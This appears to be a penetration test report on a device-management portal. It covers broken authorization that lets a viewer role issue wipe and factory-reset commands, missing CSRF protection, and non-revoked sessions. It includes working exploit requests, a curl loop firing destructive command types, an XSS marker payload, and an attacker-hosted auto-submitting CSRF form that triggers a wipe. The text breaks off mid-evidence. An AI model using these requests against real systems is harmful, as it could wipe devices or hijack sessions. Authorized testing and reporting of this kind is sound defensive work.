



POWERED BY AI

Penetration Test Report

TSAI Fleet - MDM Portal · Device Management

Black-box + Gray-box (viewer role) assessment

CONFIDENTIAL

TARGET

udm.dev

aioapp.com

REPORT DATE

Jun 08

2026

TOTAL FINDINGS

20

1 C · 4 H · 7 M · 5 L · 3 Info

Lead: Saifullah Khan & Muhammad Furqan

01

Table of Contents

01	- Table of Contents
02	- Penetration Testing Team & Severity Scale
03	- Executive Summary
04	- Engagement Scope & Rules of Engagement
05	- Methodology
06	- Asset Inventory
07	- Vulnerability Statistics & Findings Summary
08	- Technical Findings (20 Findings)
09	- Attack Path Analysis
10	- Risk Ranking & Remediation Roadmap
11	- Appendices

02

Penetration Testing Team & Severity Scale

Penetration Testing Team

Role	Name	Designation
Lead Penetration Tester	Saifullah Khan	Senior Cyber Security Specialist
Penetration Tester	Muhammad Furqan	Cyber Security Specialist
Reviewer (VCISO)	Aun Raza	Virtual Chief Information Security Officer

Severity Scale (CVSS v3.1)

Every finding is rated with a CVSS v3.1 base score; the full vector accompanies each finding in Section 08 (Technical Findings). Severity bands follow the CVSS qualitative scale:

Severity	CVSS range	Description
● CRITICAL	9.0 - 10.0	Complete compromise / immediate fleet impact; fix immediately.
● HIGH	7.0 - 8.9	Significant access to sensitive data or actions; fix within days.
● MEDIUM	4.0 - 6.9	Partial compromise or requires chaining; fix within weeks.
● LOW	0.1 - 3.9	Minimal isolated impact; defense-in-depth hardening.
● INFO	0.0	No direct exploitability; awareness only.

03

Executive Summary

The MDM portal at **udm.dev.aioapp.com** is the management UI for the TSAI Fleet Android-device-management product. It is a Go service behind an AWS Elastic Load Balancer that serves a server-rendered HTML login at /login and a JSON API under /api/v1/* protected by two key classes - an admin key used by the dashboard and a device key used by managed endpoints. The assessment combined an unauthenticated black-box phase with a gray-box phase using the supplied lowest-privilege viewer account.

The black-box phase identified **no critical-severity exploit**: TLS is correctly configured (1.0/1.1 rejected, 1.2/1.3 with AEAD ciphers), session cookies are HMAC-signed and tamper-resistant, login responses are constant-time and non-disclosing, path traversal is normalized, and the application checks authentication before parsing input. These are meaningful defensive controls.

The gray-box phase surfaced a **CRITICAL authorization defect (GB-01)**. Using the viewer role - the lowest-privilege role in the product - the tester was able to issue persistent **wipe** and **factory_reset** commands against a real production-fleet device. The server accepted, persisted, and dispatched these commands to the device WebSocket uplink; only the on-device agent's own validation prevented execution (every destructive command ended in status **failed** at the device, not at the server). The control plane has effectively no command-type authorization beyond a 3-item denylist (reboot, install_apk, shell) - every other type, including completely unknown strings, is accepted from a viewer.

Compounding factors make this exploitable from the network: there is **no CSRF protection** on the command endpoint (GB-03), so an attacker page can issue these commands silently from any logged-in viewer's browser; **logout does not invalidate sessions server-side** (GB-04), so a captured cookie is usable for the full 24-hour lifetime; and the login layer has **no rate-limit, no lockout, and no CSRF token**, with an admin username (muhammadali) publicly disclosed via /static/preview.html (F-01, F-05).

This product can run a remote shell, install APKs, factory-reset, wipe, and reboot a fleet of Android devices. The current authorization model relies on the device agent refusing destructive commands rather than refusing them in the control plane - a single agent-side regression, mis-deployed firmware, or alternate transport would turn a viewer-account compromise into a fleet-wide wipe. **GB-01 should be treated as Critical and fixed before any other item in this report.**

Overall risk: Critical - driven by broken function-level authorization that lets the lowest-privilege role dispatch destructive device commands, amplified by missing CSRF protection and no server-side session revocation. A full per-finding summary and the severity distribution appear in Section 07; attack paths are analysed in Section 09.

04

Engagement Scope & Rules of Engagement

Engagement Details

Field	Detail
Engagement type	Black-box (no credentials) + gray-box (viewer-role credentials provided)
Target	https://udm.dev.aioapp.com/
Application	TSAI Fleet - Mobile / Android Device Management (MDM) dashboard
Environment	Development tier (authorized internal assessment)
Test account	username viewer · role viewer · user_id 5b1b0e8c-08eb-49bf-b088-7d6bc47cf97a
Test window	2026-06-03 to 2026-06-04
Lead assessors	Saifullah Khan & Muhammad Furqan
Authorization	Tester e-mail matches target parent domain; treated as self-owned infrastructure
Classification	CONFIDENTIAL - development-tier environment; do not redistribute

Scope

- **In scope:** the udm.dev.aioapp.com web application and its /api/v1/* surface, tested unauthenticated (black-box) and authenticated as the viewer role (gray-box).
- **Out of scope:** brute-forcing the admin login or admin/device API keys, lateral pivot into other *.dev.aioapp.com subdomains, and any denial-of-service / stress testing.

Rules of Engagement & Safety Rails

The gray-box phase necessarily generates state - every command POST creates a persistent row in the commands table and dispatches a payload over the device WebSocket. To prove the broken-authorization finding without harming production devices, the following rules were applied:

- No destructive actions executed on real devices; state-changing probes were sent to a single fixed device (AT070AABU00442) whose agent returned status=failed, so no destructive command actually executed.
- No device was reset, wiped, rebooted, or had software installed. Each command type was sent exactly once. The Resend button was not used.
- No DoS / stress testing and no brute-forcing of the live login or API keys.
- SSRF / external-fetch probes used non-routable (240.0.0.1) and link-local (169.254.169.254) targets; the server does not fetch these at command-creation time, so the probes were no-ops.
- Cross-user resend was probed only for endpoint existence (HEAD/OPTIONS); no POST was issued against another user's command.
- No data was deleted, modified, or exfiltrated beyond what is visible to a logged-in viewer. All persisted rows (UUIDs listed in Appendix C) are status=failed and can be safely deleted.

05

Methodology

Testing followed a phased approach - reconnaissance & application mapping, authentication & session review, authorization (vertical & horizontal, BFLA / BOLA), MDM workflow abuse, API security, input validation / injection, and configuration / exposure - aligned to OWASP WSTG v4.2, OWASP Top 10 (2021), OWASP API Security Top 10 (2023), and NIST SP 800-115. All proofs of concept were captured in Burp Suite Professional (request interception / replay), supported by curl, openssl, and custom scripts. The classes exercised:

Class	Tools / techniques
Reconnaissance & fingerprinting	dig, whois, manual HTTP probes, certificate inspection
HTTP header analysis	Header diffing across /, /login, /static, /health, 404, 405, CORS preflight
TLS	openssl s_client per-protocol-version; certificate parse
Content discovery	Manual wordlist (robots, .env, .git, admin, api/v*, OpenID metadata, source maps, backups, swagger)
Authentication & session	Empty/wrong/varied credentials, timing, cookie inspection, forged-cookie integrity, CSRF token presence, cross-origin POST
Input validation	SQLi (boolean & time-based) on /login & /export, XSS reflection, header injection, large bodies, null bytes, path traversal
API surface	Method enumeration (GET/POST/PUT/DELETE/PATCH/TRACE/OPTIONS), API-key header naming, CORS preflight
Gray-box: AuthZ matrix	POST every command type from viewer; verb tampering; cross-role read of others' commands; admin-only routes from viewer session
Gray-box: IDOR / mass-assignment	UUID enumeration on /commands, /groups; parameter injection on /devices/{id}/commands; SSRF via apk_url at create-time
Gray-box: Session	Cookie regeneration on login, concurrent sessions, cookie reuse after logout, CSRF via cross-origin Origin/Referer

06

Asset Inventory

In-scope assets identified and exercised during the assessment. The application is a Go service behind an AWS Application Load Balancer, with a server-rendered HTMX UI and a JSON API protected by two distinct key classes.

Asset	Identifier / location	Notes
Web application	https://udm.dev.aioapp.com/	Server-rendered Go + HTMX MDM dashboard; gorilla/securecookie session auth (viewer / operator / admin roles)
Admin JSON API	/api/v1/devices groups commands logcat	Protected by an 'admin' API key; 401 to a web session cookie
Device API / WebSocket	/api/v1/checkin, /api/v1/ws	Protected by a 'device' API key; agent check-in + command uplink
Authentication	/login, /logout	HMAC-signed mdm-session cookie; 24-h absolute lifetime; HttpOnly
OTA package store	ota-update-packages.s3.us-west-2.amazonaws.com	S3 bucket serving APKs; listing denied, individual objects public (GB-05)
Edge / hosting	AWS Application Load Balancer (awselb/2.0), us-west-2	TLS 1.2 / 1.3; AWS ACM cert, SAN *.dev.aioapp.com (valid 2026-05-10 to 11-23)
Managed device fleet	AT070AABU##### / AT070AA##### serials	Android-class devices; ~900-unit production runs; targets of remote commands
Static assets	/static/ (style.css, favicon.svg, preview.html)	Directory listing enabled (F-06); preview.html design mock-up disclosure (F-05)

07

Vulnerability Statistics & Findings Summary

The assessment identified **20 findings** - 1 Critical, 4 High, 7 Medium, 5 Low, and 3 Informational - across authorization, session management, input validation, and security configuration. The distribution and per-finding summary follow; full evidence is in Section 08.

Severity Distribution

Severity	Count
● CRITICAL	1
● HIGH	4
● MEDIUM	7
● LOW	5
● INFO	3
Total	20

Gray-box findings (authenticated as viewer)

ID	Finding	Severity	CVSS
GB-01	Broken function-level authorization - viewer issues wipe / factory_reset / ota_install / upgrade / lock / unlock / pull_logs / logcat / custom and arbitrary unknown command types	● CRITICAL	9.1
GB-02	Command-type input not validated - any string accepted & persisted	● HIGH	7.1
GB-03	No CSRF protection on POST /devices/{id}/commands and /commands/{id}/resend	● HIGH	8.1
GB-04	Session not invalidated server-side on logout (signed cookie valid 24 h)	● HIGH	7.5
GB-05	Cross-role command visibility leaks apk_url → internal S3 bucket name	● MEDIUM	4.3
GB-06	Authorization-order inversion - device existence checked before role for some types	● MEDIUM	4.3
GB-07	Third-party CDN scripts loaded without Subresource Integrity	● MEDIUM	6.1
GB-08	Session management: concurrent sessions, 24-h lifetime, no idle timeout	● LOW	3.1

Black-box findings (unauthenticated)

ID	Finding	Severity	CVSS
F-01	Login: no rate-limit / no lockout / no CSRF token	● HIGH	7.3
F-02	Session cookie missing Secure & SameSite attributes	● MEDIUM	5.4
F-03	Missing HSTS (Strict-Transport-Security)	● MEDIUM	5.3
F-04	Missing CSP / X-Frame-Options / Referrer-Policy / Permissions-Policy	● MEDIUM	5.4
F-05	Information disclosure via /static/preview.html (admin username, conventions, capabilities)	● MEDIUM	5.3
F-06	Static directory listing enabled at /static/	● LOW	3.7
F-07	Unauthenticated 403 on /users, /settings & /api/v1/* discloses endpoint existence	● LOW	3.7
F-08	/health exposes database status without auth	● LOW	3.1
F-09	Load-balancer banner awselb/2.0 leaked on TRACE / error	● INFO	0.0
F-10	External Google Fonts dependency on auth page (privacy / supply-chain)	● INFO	0.0
F-11	No application-level rate limiting on API-key endpoints	● LOW	3.7
F-12	Login page sets no Cache-Control header	● INFO	0.0

08

Technical Findings (20 Findings)

Each finding below is documented with severity, CVSS v3.1 score & vector, CWE, OWASP mapping, affected endpoint, description, Burp Suite request/response evidence, business / technical impact, and remediation. Findings are grouped into gray-box (authenticated as viewer) and black-box (unauthenticated).

8.1 Gray-box Findings (authenticated as viewer)

GB-01

CRITICAL

Broken Function-Level Authorization - Viewer Issues Destructive Device Commands

SEVERITY	CVSS v3.1	CWE	OWASP
CRITICAL	9.1 / 10.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L	CWE-285 / CWE-639 / CWE-863	API5:2023 / A01:2021

Where: POST <https://udm.dev.aioapp.com/devices/{serial}/commands>

DESCRIPTION

The test account is username **viewer**, role **viewer** - the lowest-privilege role visible in the product (the HMAC-signed session payload gob-decodes to username=viewer, user_id=5b1b0e8c-08eb-49bf-b088-7d6bc47cf97a, user_role=viewer). All twelve POSTs below were submitted from a single viewer session against a live fleet device AT070AABU00442. A 302 response is what the server emits when it creates a command record (the Location header points to the new command's UUID); 403 is what proper authorization looks like. The server applied no authorization beyond a 3-item denylist (reboot, install_apk, shell) - every other type, including destructive wipe / factory_reset and arbitrary unknown strings, was accepted, persisted, and dispatched to the device WebSocket uplink.

PROOF OF CONCEPT - Burp Suite evidence

Evidence 1 - viewer creates a destructive wipe command (server accepts, 302).

```

Burp Suite Request:
POST /devices/AT070AABU00442/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU30DA3NXxEWdhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

type=wipe&target_type=devices&target_serials=AT070AABU00442

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 10:49:11 GMT
Content-Length: 0
Location: /commands/5d779d90-2d7a-48c9-aaa3-ffdc28e362c5

```

^ wipe command CREATED by the viewer role and dispatched to the device WebSocket.

Evidence 2 - the same session is correctly blocked for reboot (403), proving the server has a working gate that simply omits the destructive types.

```

Burp Suite Request:
POST /devices/AT070AABU00442/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU30DA3NXxEWdhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

type=reboot&target_type=devices&target_serials=AT070AABU00442

Burp Suite Response:
HTTP/2 403 Forbidden
Date: Thu, 04 Jun 2026 10:49:13 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 10
X-Content-Type-Options: nosniff

Forbidden

```

Evidence 3 - persisted record confirms creation and WebSocket dispatch (GET the command UUID returned above, rendered to the viewer):

```

Burp Suite Request:
GET /commands/5d779d90-2d7a-48c9-aaa3-ffdc28e362c5 HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODAxNDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

```

```

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 10:49:21 GMT
Content-Type: text/html; charset=utf-8

```

```

<h2 class="page-title">Command 5d779d90</h2>
<div class="stat-card"><div class="stat-label">Type</div>
  <div class="stat-value small mono">Wipe</div></div>
<div class="stat-card"><div class="stat-label">Target</div>
  <div class="stat-value small">devices</div></div>
<div class="stat-card"><div class="stat-label">Sent</div>
  <div class="stat-sub">2026-06-04 10:49:11 UTC</div></div>
<h3>Delivery Status</h3>
<span class="muted small">AT070AABU00442 -> failed 2026-06-04 10:49:13 UTC</span>
  ^ 2 s between dispatch and the device's failure response = the command
    reached the device agent; only the AGENT refused it, not the server.

```

Full per-type authorization matrix - all 13 types POSTed once from the same viewer session against the live device AT070AABU00442. 302 = server created & dispatched the command; 403 = correctly blocked:

```

$ for t in screenshot reboot install_apk shell logcat factory_reset \
  pull_logs lock unlock wipe upgrade ota_install custom; do
  curl -sk -b cookies.txt -o /dev/null -w "%{http_code}" -X POST \
    --data-urlencode "type=$t" \
    https://udm.dev.aioapp.com/devices/AT070AABU00442/commands
done

302 <- screenshot      (intended for viewer)
403 <- reboot          (correctly blocked)
403 <- install_apk     (correctly blocked)
403 <- shell           (correctly blocked)
302 <- logcat          (ACCEPTED - should be operator+)
302 <- factory_reset   (ACCEPTED - destructive, should be admin + step-up MFA)
302 <- pull_logs       (ACCEPTED - should be operator+)
302 <- lock            (ACCEPTED - should be operator+)
302 <- unlock          (ACCEPTED - should be operator+)
302 <- wipe            (ACCEPTED - destructive, should be admin + step-up MFA)
302 <- upgrade         (ACCEPTED - should be admin + MFA)
302 <- ota_install     (ACCEPTED - should be admin + MFA)
302 <- custom          (ACCEPTED - arbitrary type accepted as well)

```

Every accepted command persisted a row in the commands table (read back from /commands as the viewer) and was dispatched to the device WebSocket. The destructive types ended in status=failed only because the on-device agent refused them - not because the server applied authorization:

```

type=wipe          uuid=5d779d90-2d7a-48c9-aaa3-ffdc28e362c5  serials=AT070AABU00442  status=failed
type=factory_reset uuid=5cdac668-d8e7-486b-9587-3f72ba113651  serials=AT070AABU00442  status=failed
type=ota_install   uuid=a3d7df31-daa9-4c74-95f3-6996d9fd9a98  serials=AT070AABU00442  status=failed
type=upgrade       uuid=1e4d1791-efd3-4016-8548-4c3c84636f75  serials=AT070AABU00442  status=failed
type=lock          uuid=22605057-40da-4b2e-8ac1-7ee415d57aed  serials=AT070AABU00442  status=failed
type=unlock        uuid=959d011d-1af4-4a78-a097-c9bfc22b93b5  serials=AT070AABU00442  status=failed
type=pull_logs     uuid=fef32aca-efb6-4b8e-b046-f03b085a3407  serials=AT070AABU00442  status=failed
type=logcat        uuid=515f521a-7184-4c99-acdc-f9517778009f  serials=AT070AABU00442  status=failed
type=custom        uuid=f4af0198-52ea-4b30-9706-52ea29eb2d23  serials=AT070AABU00442  status=failed
type=screenshot    uuid=26fc70eb-2429-4274-afd7-1165d6ea50dd  serials=AT070AABU00442  status=completed

# Command detail (rendered to the viewer) confirms WS dispatch:
# /commands/1e4d1791-.../ -> Type: upgrade Target: devices
# Sent: 2026-06-04 10:49:17 UTC AT070AABU00442 -> failed 2026-06-04 10:49:19 UTC
# (two seconds between dispatch and the device's failure response = command reached the device)

```

BUSINESS / TECHNICAL IMPACT

Mass-fleet wipe from any read-only account. The current safety is entirely incidental - the agent happens to refuse wipe / factory_reset from the server today. A regression in the agent's command router (e.g. firmware that adds wipe to its allowed-types table) converts this into a full fleet-impact remote-wipe vulnerability exploitable from a viewer account. Because the same endpoint has no CSRF protection (GB-03), an attacker does not even need viewer credentials - only a logged-in viewer visiting a malicious page. The endpoint also accepts arbitrary device serials in the URL path, so combined with GB-06 the viewer can enumerate live devices and target any of them, and can flood the commands table (no rate-limit).

REMEDIATION

Move the command-type allowlist into the control plane and key it by role. Implement a server-side policy map; reject unknown types with 400, role-denied types with 403, and require step-up authentication for the destructive set. Treat the agent's refusal as defense-in-depth, not the primary control.

```

type CommandPolicy struct {
    AllowedRoles []string
    Destructive  bool
    RequiresMFA  bool
}

var commandPolicy = map[string]CommandPolicy{
    "screenshot": {AllowedRoles: []string{"viewer", "operator", "admin"}},
    "pull_logs":  {AllowedRoles: []string{"operator", "admin"}},
    "logcat":     {AllowedRoles: []string{"operator", "admin"}},
    "lock":       {AllowedRoles: []string{"operator", "admin"}},
    "unlock":     {AllowedRoles: []string{"operator", "admin"}},
    "reboot":     {AllowedRoles: []string{"operator", "admin"}},
    "install_apk": {AllowedRoles: []string{"admin"}, RequiresMFA: true},
    "ota_install": {AllowedRoles: []string{"admin"}, RequiresMFA: true},
    "upgrade":     {AllowedRoles: []string{"admin"}, RequiresMFA: true},
    "shell":       {AllowedRoles: []string{"admin"}, RequiresMFA: true},
    "wipe":        {AllowedRoles: []string{"admin"}, RequiresMFA: true, Destructive: true},
    "factory_reset": {AllowedRoles: []string{"admin"}, RequiresMFA: true, Destructive: true},
}

// Unknown type -> 400. Role not in AllowedRoles -> 403.
// Destructive -> require step-up auth + single-device confirm_serial.
// Audit-log every command create with originating role; alert on any
// destructive command from a non-admin role.

```

GB-02

● HIGH

Command-Type Field Not Validated Against an Allowlist

SEVERITY

● HIGH

CVSS v3.1**7.1 / 10.0**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

CWE**CWE-20 Improper Input Validation****OWASP****API8:2023 / A01:2021**

Where: POST /devices/{serial}/commands (form field type)

DESCRIPTION

The server accepts and persists any string in the command type field, with no allowlist check before the database write. Attacker-controlled strings are stored in a security-sensitive log and rendered later in HTMX attribute contexts.

PROOF OF CONCEPT - Burp Suite evidence

An arbitrary, non-existent command type containing an XSS marker is accepted and persisted (302):

```
Burp Suite Request:
POST /devices/AT070AABU00442/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=Mtc4MDU30DA3NXxEWdhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

type=probe_XSS_<svg/onload=1>_marker&target_type=devices&target_serials=AT070AABU00442

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 10:51:02 GMT
Content-Length: 0
Location: /devices/AT070AABU00442
```

^ arbitrary type stored; no allowlist rejection.

The stored value is rendered back on the /commands list (HTML-escaped on output today, but persisted raw in the database). A row planted by an earlier external tester is also visible - confirming this gap has been hit before:

```
GET /commands -> HTTP/2 200
<tr data-cmd-type="probe_XSS_&lt;svg/onload=1&gt;_marker"
  data-cmd-target="devices" data-cmd-serials="AT070AABU00442,">
  ... <a href="/commands/7bbaf9b3-bd9b-402f-86ee-64392f559a96">View</a>

# Pre-existing row from an earlier external tester:
<tr data-cmd-type="PENTEST_INVALID_TYPE" data-cmd-serials="AT070AA2600021,">
```

BUSINESS / TECHNICAL IMPACT

Persistent storage of attacker-controlled strings in a security-sensitive log. Any downstream consumer (analytics, mobile app, JSON export, alerting) that does not treat these as untrusted is exposed to second-order injection. The value

renders inside data-cmd-type="..." attribute contexts; it is HTML-escaped on output today (verified safe), but the design relies on every output path remembering to escape, indefinitely.

REMEDIATION

Apply the allowlist from GB-01. Reject any string that is not a known command type before any database write, returning 400 "unknown command type".

GB-03

HIGH

No CSRF Protection on State-Changing Endpoints

SEVERITY

HIGH

CVSS v3.1

8.1 / 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CWE

CWE-352 Cross-Site Request Forgery

OWASP

A01:2021 / WSTG-SESS-05

Where: POST /devices/{serial}/commands, /commands/{uuid}/resend, /login, /logout

DESCRIPTION

State-changing requests carry no anti-CSRF token, and the server performs no Origin / Referer validation. A request bearing a forged cross-site Origin was accepted and a command was created. The resend endpoint is also unprotected and dispatches a brand-new command record.

PROOF OF CONCEPT - Burp Suite evidence

A cross-site POST bearing a forged Origin / Referer is accepted and a command is created (no CSRF token, no Origin/Referer validation):

```
Burp Suite Request:
POST /devices/AT070AABU00442/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU30DA3NXxEWDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU... [truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://evil.com
Referer: https://evil.com/csrf.html
Content-Type: application/x-www-form-urlencoded

type=screenshot&target_type=devices&target_serials=AT070AABU00442

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 13:02:53 GMT
Content-Length: 0
Location: /commands/f3b0fede-f96f-43b9-afdf-fab93d1407a9?from=/devices/AT070AABU00442

^ command CREATED despite Origin: https://evil.com
```

The resend endpoint is equally unprotected and dispatches a brand-new command record on a forged-Origin request:

```

Burp Suite Request:
POST /commands/26fc70eb-2429-4274-afd7-1165d6ea50dd/resend HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODAxNDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://evil.com
Referer: https://evil.com/csrf.html

```

```

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 13:03:21 GMT
Content-Length: 0
Location: /commands/ad9f2208-5400-4b89-aa14-ba5998e42487

```

^ new command UUID - resend authorised purely on the session cookie

A search across every authenticated HTML page (/, /devices/{id}, /groups/{id}, /commands, /commands/{id}, /productions, /updates, /export) returned zero CSRF tokens, double-submit cookies, or per-form nonces.

Chained with GB-01 (viewer issues wipe) and F-02 (cookie has no SameSite), a malicious page is sufficient to wipe a target's fleet using only the victim's browser session:

```

<!-- attacker.example/page.html - victim visits while logged in to UDM -->
<form id="x" method="POST"
  action="https://udm.dev.aioapp.com/devices/AT070AABU00442/commands">
  <input name="type" value="wipe">
</form>
<script>document.getElementById('x').submit()</script>

```

BUSINESS / TECHNICAL IMPACT

An attacker page silently dispatches device commands or forces logout in any logged-in user's session. The destructive command is created server-side and audit-trailed to the victim, even if the agent rejects it today. Combined with F-02 (no SameSite), cookies are sent on the cross-site POST.

REMEDIATION

Add an origin-bound CSRF token to every form (synchronizer-token pattern) or enforce strict Origin / Sec-Fetch-Site validation on every state-changing route - one middleware covers all current routes without template changes:

```

func sameOriginOnly(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if r.Method == "GET" || r.Method == "HEAD" { next.ServeHTTP(w, r); return }
        origin := r.Header.Get("Origin")
        if origin != "" && origin != "https://udm.dev.aioapp.com" {
            http.Error(w, "cross-origin not allowed", 403); return
        }
        if site := r.Header.Get("Sec-Fetch-Site");
        site != "" && site != "same-origin" && site != "none" {
            http.Error(w, "cross-site not allowed", 403); return
        }
        next.ServeHTTP(w, r)
    })
}

```

GB-04

HIGH

Session Not Invalidated Server-Side on Logout

SEVERITY

HIGH

CVSS v3.1

7.5 / 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-613 / CWE-384

OWASP

A07:2021 /
WSTG-SESS-06

Where: POST /logout (gorilla/securecookie cookie-store)

DESCRIPTION

The cookie store is stateless - its HMAC-signed payload is the entire authorization. POST /logout only sends a cookie-deletion Set-Cookie to the requesting client; there is no server-side record of issued sessions and therefore no way to invalidate one. The original token remains usable for the full Max-Age=86400 (24 hours).

PROOF OF CONCEPT - Burp Suite evidence (3-step replay)

Step 1 - pre-logout request with TOKEN_A succeeds (200, authenticated).

```

Burp Suite Request:
GET / HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=Mtc4MDU30DA3NXxEWDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:02:44 GMT
Content-Type: text/html; charset=utf-8

<title>Devices - MDM</title>
... <div class="navbar-user-name">viewer</div>
  <div class="navbar-user-role">viewer</div> ...

```

Step 2 - logout with TOKEN_A. The server only tells the browser to discard the cookie; it issues no server-side revocation.

```

Burp Suite Request:
POST /logout HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODU3ODAxNDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 13:02:47 GMT
Content-Length: 0
Location: /login
Set-Cookie: mdm-session=MTc4MDU3ODU3ODAxNDhFQVFMX2dBQUJF...; Path=/; Max-Age=0; HttpOnly

```

Step 3 - replay the ORIGINAL TOKEN_A after logout (as a captured-cookie attacker would). It is still accepted:

```

Burp Suite Request:
GET / HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODU3ODAxNDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[TOKEN_A]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
